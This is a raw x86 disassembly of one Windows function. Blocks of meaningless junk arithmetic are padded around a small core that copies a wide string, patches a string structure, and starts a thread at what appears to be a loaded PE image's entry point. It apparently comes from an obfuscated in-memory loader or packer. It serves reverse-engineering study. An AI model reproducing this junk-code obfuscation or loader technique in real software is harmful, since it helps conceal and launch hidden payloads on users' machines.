add edx, 0xa
inc esi
imul ebx
neg esi
neg eax
neg esi
bswap eax
bswap edx
add edi, 0x79
bswap ebx
not eax
sbb esi, 0x9c
neg edx
neg edi
or eax, 0xe0
or edi, 0xa9
bswap edx
rol esi, 0x49
dec edx
dec esi
or esi, 0x5d
not edi
dec esi
sbb edx, 0x7c
not ebx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x4e6c4]
mov eax, dword [ebp - 0x4e71c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x4e6c4]
mov eax, dword [ebp - 0x4e724]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x4e724]
add eax, 0x24
mov dword [ebp - 0x4e728], eax
mov edi, 0x5b
not edx
dec eax
bswap ebx
rcl esi, 0xd2
sbb eax, 0x7b
rcr edx, 0xce
sbb eax, 0xae
and edi, 0x58
bswap eax
mov esi, 0x7b
and eax, 0xf5
sbb ebx, 0x5d
dec edi
rcr edi, 0x5c
rcl eax, 0x9a
bswap esi
and edi, 0x5f
not esi
not edi
bswap edi
neg edi
or ebx, 0x5e
bswap ebx
neg edx
and ebx, 7
not eax
sub edi, 7
neg edi
and edi, 0xa0
add esi, 0x45
mov eax, 0x2e
dec esi
neg edi
bswap edx
sbb edi, 0x35
neg esi
not edi
add ebx, 0xf7
and edi, 0xe0
mov ebx, 0x54
dec eax
and edx, 0x66
not eax
bswap edi
imul edx
bswap esi
bswap edx
sbb edx, 0x56
rol ebx, 0x93
not eax
not eax
neg ebx
imul eax
and ebx, 0x36
sub ebx, 0xab
imul ebx
bswap ebx
sub esi, 7
mov eax, 0x7f
bswap edi
or esi, 0x3a
dec edx
inc ebx
rcl edi, 0xcb
mov ebx, 0xe6
rcr edx, 0x4e
ror ebx, 0x21
dec edi
or eax, 0xc1
ror eax, 0x99
neg eax
inc edi
bswap edi
imul edx
and esi, 0x13
add esi, 4
bswap esi
bswap edx
mov esi, 0xb3
add edx, 0xe8
mov eax, 0x1c
not ebx
dec edi
dec eax
dec eax
neg ebx
mov edi, 0xb1
bswap esi
not esi
ror eax, 0x73
sbb ebx, 0xe0
sub eax, 0x14
and edi, 0xfc
bswap edx
imul eax
imul ebx
sbb eax, 0xc1
rcr esi, 0x60
or esi, 0xa1
inc esi
not eax
dec edi
sub edx, 0x68
sub edi, 0xaa
imul edi
rcr esi, 0x3c
inc ebx
neg edx
bswap ebx
add edx, 0xeb
rcr edx, 0xcd
neg edi
neg eax
neg ebx
add edi, 0xb1
sbb edi, 0x46
neg edi
not ebx
neg edi
bswap ebx
sub ebx, 0x92
mov edi, 0xd4
neg edx
bswap edi
dec edx
ror edx, 0x36
dec edx
inc ebx
inc eax
inc edi
bswap esi
or eax, 0x1e
or edi, 0xdf
ror esi, 3
not esi
ror edx, 0x3d
or edx, 0x4c
neg esi
and edx, 0x99
ror edx, 0x78
or edi, 0xc5
rol esi, 7
rcl ebx, 0xd7
or esi, 0x45
not eax
mov edi, 0x83
dec ebx
inc eax
imul edi
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x4e7a0]
lea eax, [0x461780]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.00404db0
mov eax, dword [ebp - 0x4e628]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x4e7a1], al
mov al, byte [ebp - 0x4e7a1]
mov dword [ebp - 0x10], 0xffffffff
test al, 1
je 0x4028dc
mov eax, dword [ebp - 0x4e728]
mov ecx, dword [eax]
mov dword [ebp - 0x4e7ac], ecx
mov eax, dword [eax + 4]
mov dword [ebp - 0x4e7a8], eax
mov eax, dword [ebp - 0x4e728]
lea ecx, [ebp - 0x4e7a0]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x4e7a0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x4e728]
mov word [eax], cx
imul edi
neg esi
rol edx, 0x88
imul ebx
dec esi
mov edx, 0x1b
not ebx
dec ebx
not ebx
ror eax, 0x9c
dec edi
imul edi
mov eax, 0x98
bswap ebx
neg ebx
ror eax, 0
not esi
rcl eax, 0xfd
neg eax
bswap edx
rol ebx, 0xb9
sbb ebx, 0x16
neg edi
not ebx
neg edi
inc edi
sbb esi, 0x50
dec esi
rol edi, 0x56
not eax
neg eax
inc ebx
imul edx
add edi, 0x51
rol eax, 0xf8
not edx
inc edi
imul ebx
dec edx
rol edx, 0x6e
rcl esi, 0xdf
imul esi
or edx, 0x79
not esi
and edi, 0xd3
inc edx
sub esi, 0xcc
or esi, 0x53
rcr edx, 0x2a
dec edi
dec edi
inc eax
rcr esi, 0x35
add ebx, 0x91
inc edx
sbb eax, 0xfe
inc esi
imul edx
and eax, 0x17
rol edx, 0x33
inc edx
rol edi, 0x75
bswap edi
dec edx
bswap ebx
or ebx, 0x52
imul edx
bswap esi
imul edi
neg ebx
not esi
mov eax, 0xb4
neg edi
imul esi
add edx, 0xde
not ebx
mov eax, 0x87
rol eax, 0x68
rcr esi, 0xaf
and ebx, 0x87
sbb ebx, 0xeb
and ebx, 0x4c
inc ebx
neg edi
ror esi, 0xd9
imul edi
ror ebx, 0xd9
or edx, 0xbd
neg esi
mov edi, 0xcb
add esi, 0xdd
bswap esi
mov eax, 0x57
imul edx
rcr esi, 0xce
dec ebx
dec eax
imul eax
not esi
imul edi
rol esi, 0x6f
rcl eax, 0x49
bswap ebx
add eax, 0x28
neg edi
sub eax, 0xc7
neg edi
sbb esi, 0xdb
neg eax
not esi
and eax, 0xa9
rcl esi, 0xc8
rcr edx, 0x2f
bswap edx
sbb eax, 0x77
rcl ebx, 0x44
dec edx
inc ebx
neg edx
rcl ebx, 0x9c
sub esi, 0x6e
not esi
bswap edx
inc edx
bswap ebx
and eax, 0x5d
bswap esi
rcl eax, 0xbb
not eax
dec ebx
sbb edi, 0x72
and ebx, 0x44
not esi
rcl eax, 0xec
neg eax
dec eax
add edi, 0xcc
rol esi, 0xd0
rcl esi, 0xfa
or ebx, 0
imul edi
rcr edi, 0xbe
bswap ebx
dec esi
rcl ebx, 0xe7
dec eax
imul eax
inc edx
and ebx, 0xa5
rcr edx, 0xc6
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e628]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x4e7b0], eax
test byte [ebp - 0x4e7a1], 1
je 0x402ae4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov eax, dword [ebp - 0x4e728]
mov ecx, dword [ebp - 0x4e7ac]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4e7a8]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x4e7b0]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
neg esi
or edx, 0x16
sbb eax, 6
sub esi, 0x41
rcl ebx, 0xf
imul esi
add edx, 0x6a
imul eax
add esi, 0xff
inc edx
sub edi, 0x27
imul edi
mov edx, 0x4c
not edx
sub edi, 0x6a
rol ebx, 0x94
dec ebx
bswap edx
and eax, 0x83
rcl esi, 6
inc edx
inc ebx
sub eax, 0xca
neg eax
dec edx
dec ebx
inc edx
dec edi
or esi, 0xb1
neg esi
or edi, 0x68
not esi
mov edi, 0xea
bswap eax
imul edx
add edx, 0xdf
ror ebx, 0x19
bswap ebx
rcr esi, 0x38
dec edi
rcr ebx, 0xc4
inc esi
rol esi, 0x52
and eax, 0x44
dec ebx
ror eax, 0xf6
rcr eax, 0x77
add edx, 0xec
mov eax, 0xea
bswap eax
rcl edx, 0x8c
bswap edi
not edx
sub edi, 0x91
sbb edx, 0x5a
bswap edi
or edx, 0xdc
rol edi, 0x56
inc eax
and eax, 5
neg ebx
not eax
not eax
add edx, 0x87
rol esi, 0x76
mov ebx, 0xa3
inc ebx
add ebx, 0x9e
inc edx
inc esi
imul edx
imul ebx
sub esi, 0xaf
not esi
imul ebx
ror ebx, 0x39
rcr ebx, 0x99
or edi, 0x7c
or edi, 0xde
rcr eax, 0xe3
rcl eax, 0x2a
ror ebx, 0x6e
dec eax
rcr edi, 0x84
neg edx
add eax, 0x4f
neg ebx
and ebx, 0x59
imul eax
imul ebx
rcr ebx, 0x1d
rcr esi, 0xa8
rcl esi, 0x47
sub eax, 0xae
bswap eax
rol edx, 0x1a
rol edi, 1
not edx
neg esi
sbb esi, 0x1c
add edx, 0x13
rol ebx, 0x36
rcr eax, 0xae
not esi
neg esi
rol ebx, 0x74
bswap edi
not edi
not edx
and edi, 0xf3
bswap edx
rcr edi, 1
neg edx
neg esi
rol esi, 0xae
sub eax, 0xed
dec edx
not edx
imul edx
mov eax, 0x92
dec edi
bswap eax
rcl esi, 0xf5
add edx, 0xa8
bswap eax
rol ebx, 0x82
bswap edx
imul edi
imul ebx
dec esi
rcl edx, 0x1d
dec edi
inc edx
ror eax, 0x40
inc esi
rcl esi, 0x58
rcl edi, 0xc4
neg esi
rcr edi, 0x28
rol ebx, 0x98
rcl edi, 0x6b
bswap edx
rcl esi, 0x11
sbb eax, 0x37
mov eax, 0x66
rcl ebx, 0x2f
dec esi
inc edx
neg esi
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x4e7d4
pop esi
pop edi
pop ebx
pop ebp
ret